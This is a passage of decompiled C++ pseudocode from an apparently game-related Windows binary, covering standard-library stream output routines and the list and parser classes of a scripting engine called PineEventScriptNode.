(char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v8) = v7[48]; v9 = *((_DWORD *)v7 + 10); v10 = *(_DWORD *)(v9 + 36); if ( *(_DWORD *)v10 && *(_DWORD *)v10 < (unsigned int)(*(_DWORD *)v10 + **(_DWORD **)(v9 + 52)) ) { --**(_DWORD **)(v9 + 52); v11 = *(_DWORD *)(v9 + 36); v12 = (*(_DWORD *)v11)++; *(_BYTE *)v12 = v8; v8 = (unsigned __int8)v8; } else { v8 = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)v9 + 4))((unsigned __int8)v8); } if ( v8 == -1 ) { _State |= 4u; break; } --_Pad; } v5 = 0; if ( _State ) goto LABEL_37; LABEL_16: while ( v5 < _Size ) { if ( v2->_Myres < 0x10 ) v13 = (int)&v2->_Bx; else v13 = *(_DWORD *)&v2->_Bx._Buf[0]; v14 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; v15 = *(_DWORD *)(v14 + 36); LOBYTE(v16) = *(_BYTE *)(v13 + v5); if ( *(_DWORD *)v15 ) { if ( *(_DWORD *)v15 < (unsigned int)(*(_DWORD *)v15 + **(_DWORD **)(v14 + 52)) ) { --**(_DWORD **)(v14 + 52); v17 = *(_DWORD *)(v14 + 36); v18 = (*(_DWORD *)v17)++; v2 = _Str; *(_BYTE *)v18 = v16; v16 = (unsigned __int8)v16; goto LABEL_26; } v2 = _Str; } v16 = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)v14 + 4))((unsigned __int8)v16); LABEL_26: if ( v16 == -1 ) { _State |= 4u; break; } ++v5; } if ( !_State ) { while ( _Pad ) { v19 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v20) = _Ostr->dummy[v19 + 48]; v21 = *(_DWORD *)&_Ostr->dummy[v19 + 40]; v22 = *(_DWORD *)(v21 + 36); if ( *(_DWORD *)v22 && *(_DWORD *)v22 < (unsigned int)(*(_DWORD *)v22 + **(_DWORD **)(v21 + 52)) ) { --**(_DWORD **)(v21 + 52); v23 = *(_DWORD *)(v21 + 36); v24 = (*(_DWORD *)v23)++; *(_BYTE *)v24 = v20; v20 = (unsigned __int8)v20; } else { v20 = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)v21 + 4))((unsigned __int8)v20); } if ( v20 == -1 ) { _State |= 4u; break; } --_Pad; } } LABEL_37: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_39: v25 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v40 = 0; if ( _State ) { v26 = _State | *((_DWORD *)v25 + 2); if ( !*((_DWORD *)v25 + 10) ) v26 |= 4u; std::ios_base::clear((std::ios_base *)v25, v26, 0); } v40 = 3; if ( !std::uncaught_exception() ) { v27 = _Ok.baseclass_0._Myostr; v28 = (char *)_Ok.baseclass_0._Myostr + *(_DWORD *)(*(_DWORD *)&_Ok.baseclass_0._Myostr->dummy[0] + 4); if ( v28[16] & 2 ) { v29 = 0; if ( !(v28[8] & 6) && (*(int (__thiscall **)(_DWORD))(**((_DWORD **)v28 + 10) + 44))(*((_DWORD *)v28 + 10)) == -1 ) v29 = 4; v30 = (int)((char *)v27 + *(_DWORD *)(*(_DWORD *)&v27->dummy[0] + 4)); if ( v29 ) { v31 = v29 | *(_DWORD *)(v30 + 8); if ( !*(_DWORD *)(v30 + 40) ) v31 |= 4u; std::ios_base::clear((std::ios_base *)v30, v31, 0); } } } v32 = *(_DWORD *)&_Ok.baseclass_0._Myostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ok.baseclass_0._Myostr->dummy[0] + 4) + 40]; v40 = -1; if ( v32 ) std::_Mutex::_Unlock((std::_Mutex *)(v32 + 4)); return _Ostr; } //----- (004A3040) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val) { int v2; // ebx@1 unsigned int v3; // edi@1 signed int v4; // eax@1 signed int v5; // edx@5 int v6; // eax@6 int v7; // edx@8 int v8; // eax@8 int v9; // ecx@8 int v10; // edx@8 int v11; // ecx@10 int v12; // edx@10 int v13; // edx@21 int v14; // eax@21 int v15; // ecx@21 int v16; // edx@21 int v17; // ecx@23 int v18; // edx@23 int v19; // edx@26 char *v20; // ecx@29 int v21; // eax@30 int v23; // [sp-Ch] [bp-2Ch]@1 std::basic_ostream >::sentry _Ok; // [sp+0h] [bp-20h]@4 int _Pad; // [sp+8h] [bp-18h]@4 int _State; // [sp+Ch] [bp-14h]@1 int *v27; // [sp+10h] [bp-10h]@1 int v28; // [sp+1Ch] [bp-4h]@4 v2 = 0; v27 = &v23; _State = 0; v3 = strlen(_Val); v4 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; if ( v4 > 0 && v4 > (signed int)v3 ) v2 = v4 - v3; _Pad = v2; std::basic_ostream>::sentry::sentry(&_Ok, _Ostr); v28 = 0; if ( !_Ok._Ok ) { v5 = 4; goto LABEL_29; } v6 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v28) = 1; if ( v6 == 64 ) { LABEL_16: if ( (*(int (__stdcall **)(const char *, unsigned int))(**(_DWORD **)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40] + 28))( _Val, v3) == v3 ) { while ( v2 > 0 ) { v13 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v14) = _Ostr->dummy[v13 + 48]; v15 = *(_DWORD *)&_Ostr->dummy[v13 + 40]; v16 = *(_DWORD *)(v15 + 36); if ( *(_DWORD *)v16 && *(_DWORD *)v16 < (unsigned int)(*(_DWORD *)v16 + **(_DWORD **)(v15 + 52)) ) { --**(_DWORD **)(v15 + 52); v17 = *(_DWORD *)(v15 + 36); v18 = (*(_DWORD *)v17)++; *(_BYTE *)v18 = v14; v14 = (unsigned __int8)v14; } else { v14 = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)v15 + 4))((unsigned __int8)v14); } if ( v14 == -1 ) { v19 = *(_DWORD *)&_Ostr->dummy[0]; _State |= 4u; *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(v19 + 4) + 24] = 0; goto LABEL_28; } --v2; } } else { _State = 4; } goto LABEL_18; } while ( v2 > 0 ) { v7 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v8) = _Ostr->dummy[v7 + 48]; v9 = *(_DWORD *)&_Ostr->dummy[v7 + 40]; v10 = *(_DWORD *)(v9 + 36); if ( *(_DWORD *)v10 ) { if ( *(_DWORD *)v10 < (unsigned int)(*(_DWORD *)v10 + **(_DWORD **)(v9 + 52)) ) { --**(_DWORD **)(v9 + 52); v11 = *(_DWORD *)(v9 + 36); v12 = (*(_DWORD *)v11)++; v2 = _Pad; *(_BYTE *)v12 = v8; v8 = (unsigned __int8)v8; goto LABEL_13; } v2 = _Pad; } v8 = (*(int (__stdcall **)(_DWORD))(*(_DWORD *)v9 + 4))((unsigned __int8)v8); LABEL_13: if ( v8 == -1 ) { _State |= 4u; break; } --v2; _Pad = v2; } if ( !_State ) goto LABEL_16; LABEL_18: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_28: v5 = _State; LABEL_29: v20 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v28 = 0; if ( v5 ) { v21 = v5 | *((_DWORD *)v20 + 2); if ( !*((_DWORD *)v20 + 10) ) v21 |= 4u; std::ios_base::clear((std::ios_base *)v20, v21, 0); } v28 = -1; std::basic_ostream>::sentry::_sentry(&_Ok); return _Ostr; } //----- (004A3250) -------------------------------------------------------- std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@9 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>>>::_Psave; v9 = 0; _Psave = std::_Facetptr>>>::_Psave; if ( !std::num_put>>::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::num_put>>::id ) { ++std::locale::id::_Id_cnt; std::num_put>>::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::num_put>>::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::num_put>>::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>>>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::num_put > > *)v2; } // 124A4B24: using guessed type int std___Facetptr_std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char_______Psave; // 146CFFE0: using guessed type int std__locale__id___Id_cnt; //----- (004A3360) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004A3480) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004A35A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps) { this->m_ppExpress = ppExpress; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; this->m_pPS = ps; this->m_strErrorMsg._Myres = 15; this->m_strErrorMsg._Mysize = 0; this->m_strErrorMsg._Bx._Buf[0] = 0; this->m_tkn.pst_Buffer[0] = 0; } // 5BDD88: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (004A35D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this) { PineEventScriptNode::ScriptParameterPaser *v1; // esi@1 v1 = this; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; if ( this->m_strErrorMsg._Myres >= 0x10 ) operator delete(*(void **)&this->m_strErrorMsg._Bx._Buf[0]); v1->m_strErrorMsg._Myres = 15; v1->m_strErrorMsg._Mysize = 0; v1->m_strErrorMsg._Bx._Buf[0] = 0; } // 5BDD88: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (004A3600) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val) { std::basic_ostream > *v2; // esi@1 std::locale *v3; // eax@2 std::num_put > > *v4; // eax@2 std::locale v5; // edi@2 std::num_put > > *v6; // ebx@2 unsigned int v7; // eax@3 int v8; // edi@6 int v9; // eax@8 int v10; // ecx@8 char v11; // dl@8 int v12; // ecx@8 std::locale::facetVtbl *v13; // edx@8 int v14; // ecx@10 int v15; // eax@11 int v17; // [sp-Ch] [bp-3Ch]@1 int v18; // [sp+0h] [bp-30h]@8 std::basic_ostream >::sentry _Ok; // [sp+8h] [bp-28h]@1 std::_Lockit thisa; // [sp+10h] [bp-20h]@3 std::locale result; // [sp+14h] [bp-1Ch]@2 int _State; // [sp+18h] [bp-18h]@1 std::basic_ostream > *v23; // [sp+1Ch] [bp-14h]@1 int *v24; // [sp+20h] [bp-10h]@1 int v25; // [sp+2Ch] [bp-4h]@1 v2 = this; v24 = &v17; v23 = this; _State = 0; std::basic_ostream>::sentry::sentry(&_Ok, this); v25 = 0; if ( _Ok._Ok ) { v3 = std::ios_base::getloc((std::ios_base *)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->dummy[0] + 4)), &result); LOBYTE(v25) = 1; v4 = std::use_facet>>>(v3); v5 = result; v6 = v4; LOBYTE(v25) = 0; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v7 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( v7 && v7 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7 - 1; v8 = ((*(_DWORD *)(*(_DWORD *)&v5 + 4) != 0) - 1) & *(_DWORD *)&v5; std::_Lockit::__Lockit(&thisa); if ( v8 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v8)(v8, 1); } v9 = *(_DWORD *)(*(_DWORD *)&v2->dummy[0] + 4); v10 = *(_DWORD *)(*(_DWORD *)&v2->dummy[0] + 4); v11 = v2->dummy[v10 + 48]; v12 = *(_DWORD *)&v2->dummy[v10 + 40]; LOBYTE(thisa._Locktype) = v11; v13 = v6->baseclass_0.vfptr; LOBYTE(v18) = 0; LOBYTE(v25) = 2; ((void (__thiscall *)(std::num_put > > *, int *, int, int, char *, int, int))v13[7].__vecDelDtor)( v6, &v18, v18, v12, (char *)v2 + v9, thisa._Locktype, _Val); if ( (_BYTE)v18 ) _State = 4; } v14 = (int)((char *)v2 + *(_DWORD *)(*(_DWORD *)&v2->dummy[0] + 4)); v25 = 0; if ( _State ) { v15 = _State | *(_DWORD *)(v14 + 8); if ( !*(_DWORD *)(v14 + 40) ) v15 |= 4u; std::ios_base::clear((std::ios_base *)v14, v15, 0); } v25 = -1; std::basic_ostream>::sentry::_sentry(&_Ok); return v2; } //----- (004A3770) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 signed int v3; // eax@4 int v4; // edx@5 ListStruct *v5; // ecx@7 PineEventScriptNode::Statement *v6; // ebx@7 int v7; // ecx@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v3 = 0; if ( v2->l_MaxSize ) { v4 = 0; do { if ( v3 < v2->l_MaxSize ) { v5 = v2->l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &array->la_Array[v3]; } ++v3; ++v4; } while ( v3 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5BD908: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); //----- (004A37F0) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 PineEventScriptNode::Block *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5BD924: using guessed type int (__stdcall *List_PineEventScriptNode__Block____vftable_[3])(__int16 hnd); //----- (004A3870) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@1 void *v4; // eax@2 int v5; // ebp@3 void *v6; // eax@6 List *v7; // eax@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; this->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BlockName::_vftable_; this->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Id::_vftable_; this->b_BlockName.bn_Name.i_Identify.pst_Buffer[0] = 0; v2 = operator new(8u); v3 = v2; if ( v2 ) { *((_DWORD *)v2 + 1) = 16; v4 = operator new__(0x84u); if ( v4 ) { v5 = (int)((char *)v4 + 4); *(_DWORD *)v4 = 16; _eh_vector_constructor_iterator_( (char *)v4 + 4, 8u, 16, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); *(_DWORD *)v3 = v5; } else { *(_DWORD *)v3 = 0; } } else { v3 = 0; } v1->b_StatementArray = (ListArray *)v3; v6 = operator new(0x18u); if ( v6 ) List::List( (List *)v6, v1->b_StatementArray); else v7 = 0; v1->b_StatementList = v7; } // 5BD7E4: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 5BD834: using guessed type int (__stdcall *PineEventScriptNode__BlockName___vftable_)(int tr); // 5BDB10: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); //----- (004A3970) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this) { this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateInfinite::_vftable_; PineEventScriptNode::Block::Block(&this->si_Block); } // 5BDB38: using guessed type int (__stdcall *PineEventScriptNode__StateInfinite___vftable_)(int tr); //----- (004A39C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this) { PineEventScriptNode::StateWhile *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateWhile::_vftable_; PineEventScriptNode::Condition::Condition(&this->sw_Condition); PineEventScriptNode::Block::Block(&v1->sw_Block); } // 5BDB4C: using guessed type int (__stdcall *PineEventScriptNode__StateWhile___vftable_)(int tr); //----- (004A3A20) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x118u); if ( v1 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v1); else result = 0; return result; } //----- (004A3A80) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x11Cu); if ( v1 ) PineEventScriptNode::StateInfinite::StateInfinite((PineEventScriptNode::StateInfinite *)v1); else result = 0; return result; } //----- (004A3AE0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x460u); if ( v1 ) PineEventScriptNode::StateWhile::StateWhile((PineEventScriptNode::StateWhile *)v1); else result = 0; return result; } //----- (004A3B40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::StateIf *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 void *v7; // eax@10 PineEventScriptNode::ScriptAtom *v8; // eax@11 PineEventScriptNode::ScriptAtom v9; // edx@13 void *v10; // eax@18 PineEventScriptNode::ScriptAtom *v11; // eax@19 PineEventScriptNode::ScriptAtom *v12; // eax@22 void *v13; // ST00_4@23 void *v14; // eax@24 PineEventScriptNode::ScriptAtom *v15; // eax@25 PineEventScriptNode::ScriptAtom v16; // edx@27 unsigned __int16 result; // ax@29 PineScriptToken tkn; // [sp+10h] [bp-110h]@1 unsigned int v19; // [sp+110h] [bp-10h]@29 int v20; // [sp+11Ch] [bp-4h]@10 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_32; v3 = (int)"if"; v4 = &tkn; v5 = 3; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { LABEL_32: memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); goto LABEL_29; } if ( (unsigned __int16)((int (__fastcall *)(PineEventScriptNode::Condition *, _DWORD, PineScriptReader::TokenReader *))v2->si_Condition.baseclass_0.vfptr->sa_Load)( &v2->si_Condition, 0, tr) && PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "then") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v7 = operator new(0x118u); v20 = 0; if ( v7 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v7); else v8 = 0; v2->si_True = v8; v9.vfptr = v8->vfptr; v20 = -1; if ( !(unsigned __int16)v9.vfptr->sa_Load(v8, tr) ) goto LABEL_29; } if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( PineScriptToken::operator__(&tkn, "else") ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } else { v10 = operator new(0x350u); if ( v10 ) PineEventScriptNode::StateIf::StateIf((PineEventScriptNode::StateIf *)v10); else v11 = 0; v2->si_False = v11; if ( !v11->vfptr->sa_Load(v11, tr) ) { v12 = v2->si_False; if ( v12 ) { v13 = v2->si_False; v12->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v13); } v14 = operator new(0x118u); v20 = 1; if ( v14 ) PineEventScriptNode::Block::Block((PineEventScriptNode::Block *)v14); else v15 = 0; v2->si_False = v15; v16.vfptr = v15->vfptr; v20 = -1; v16.vfptr->sa_Load(v15, tr); } } } } LABEL_29: __security_check_cookie(v19); return result; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (004A3D50) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // esi@1 void *v2; // eax@1 unsigned int v3; // edx@4 void *v4; // eax@7 PineEventScriptNode::StatementBase *v5; // eax@8 unsigned int v6; // edx@10 void *v7; // eax@13 PineEventScriptNode::StatementBase *v8; // eax@14 unsigned int v9; // edx@16 void *v10; // eax@19 PineEventScriptNode::StatementBase *v11; // eax@20 unsigned int v12; // edx@22 void *v13; // eax@25 PineEventScriptNode::StatementBase *v14; // eax@26 unsigned int v15; // edx@28 void *v16; // eax@31 void *v17; // edi@31 unsigned int v18; // ecx@34 void *v19; // eax@37 unsigned int v20; // edx@40 void *v21; // eax@43 void *v22; // edi@43 unsigned int v23; // ecx@46 void *v24; // eax@49 unsigned int v25; // edx@52 void *v26; // eax@55 void *v27; // edx@56 unsigned int v28; // ecx@58 void *v29; // eax@61 PineEventScriptNode::StatementBase *v30; // eax@62 unsigned int v31; // edx@64 void *v32; // eax@67 PineEventScriptNode::StatementBase *v33; // eax@68 unsigned int v34; // edx@70 void *v35; // eax@73 PineEventScriptNode::StatementBase *v36; // eax@74 unsigned int v37; // edx@76 void *v38; // eax@79 PineEventScriptNode::StatementBase *v39; // eax@80 unsigned int v40; // edx@82 void *v41; // eax@85 PineEventScriptNode::StatementBase *v42; // eax@86 unsigned int v43; // edx@88 void *v44; // eax@91 PineEventScriptNode::StatementBase *v45; // eax@92 unsigned int v46; // edx@94 void *v47; // eax@97 PineEventScriptNode::StatementBase *v48; // eax@98 unsigned int v49; // edx@100 void *v50; // eax@103 PineEventScriptNode::StatementBase *v51; // eax@104 unsigned int v52; // edx@106 void *v53; // eax@109 PineEventScriptNode::StatementBase *v54; // eax@110 unsigned int v55; // edx@112 void *v56; // eax@115 PineEventScriptNode::StatementBase *v57; // eax@116 unsigned int v58; // edx@118 void *v59; // eax@121 PineEventScriptNode::StatementBase *v60; // eax@122 unsigned int v61; // edx@124 void *v62; // eax@127 PineEventScriptNode::StatementBase *v63; // eax@128 unsigned int v64; // edx@130 void *v65; // eax@133 PineEventScriptNode::StatementBase *v66; // eax@134 unsigned int v67; // edx@136 void *v68; // eax@139 PineEventScriptNode::StatementBase *v69; // eax@140 unsigned int v70; // edx@142 void *v71; // eax@145 PineEventScriptNode::StatementBase *v72; // eax@146 unsigned int v73; // edx@148 void *v74; // eax@151 PineEventScriptNode::StatementBase *v75; // eax@152 unsigned int v76; // edx@154 void *v77; // eax@157 PineEventScriptNode::StatementBase *v78; // eax@158 unsigned int v79; // edx@160 void *v80; // eax@163 PineEventScriptNode::StatementBase *v81; // eax@164 unsigned int v82; // edx@166 void *v83; // eax@169 PineEventScriptNode::StatementBase *v84; // eax@170 unsigned int v85; // edx@172 void *v86; // eax@175 PineEventScriptNode::StatementBase *v87; // eax@176 unsigned int v88; // edx@178 void *v89; // eax@181 PineEventScriptNode::StatementBase *v90; // eax@182 unsigned int v91; // edx@184 void *v92; // eax@187 PineEventScriptNode::StatementBase *v93; // eax@188 unsigned int v94; // edx@190 void *v95; // eax@193 PineEventScriptNode::StatementBase *v96; // eax@194 unsigned int v97; // edx@196 void *v98; // eax@199 PineEventScriptNode::StatementBase *v99; // eax@200 unsigned int v100; // edx@202 void *v101; // eax@205 PineEventScriptNode::StatementBase *v102; // eax@206 unsigned int v103; // edx@208 void *v104; // eax@211 PineEventScriptNode::StatementBase *v105; // eax@212 unsigned int v106; // edx@214 void *v107; // eax@217 PineEventScriptNode::StatementBase *v108; // eax@218 unsigned int v109; // edx@220 void *v110; // eax@223 PineEventScriptNode::StatementBase *v111; // eax@224 unsigned int v112; // edx@226 void *v113; // eax@229 PineEventScriptNode::StatementBase *v114; // eax@230 unsigned int v115; // edx@232 void *v116; // eax@235 PineEventScriptNode::StatementBase *v117; // eax@236 unsigned int v118; // edx@238 void *v119; // eax@241 PineEventScriptNode::StatementBase *v120; // eax@242 unsigned int v121; // edx@244 void *v122; // eax@247 PineEventScriptNode::StatementBase *v123; // eax@248 unsigned int 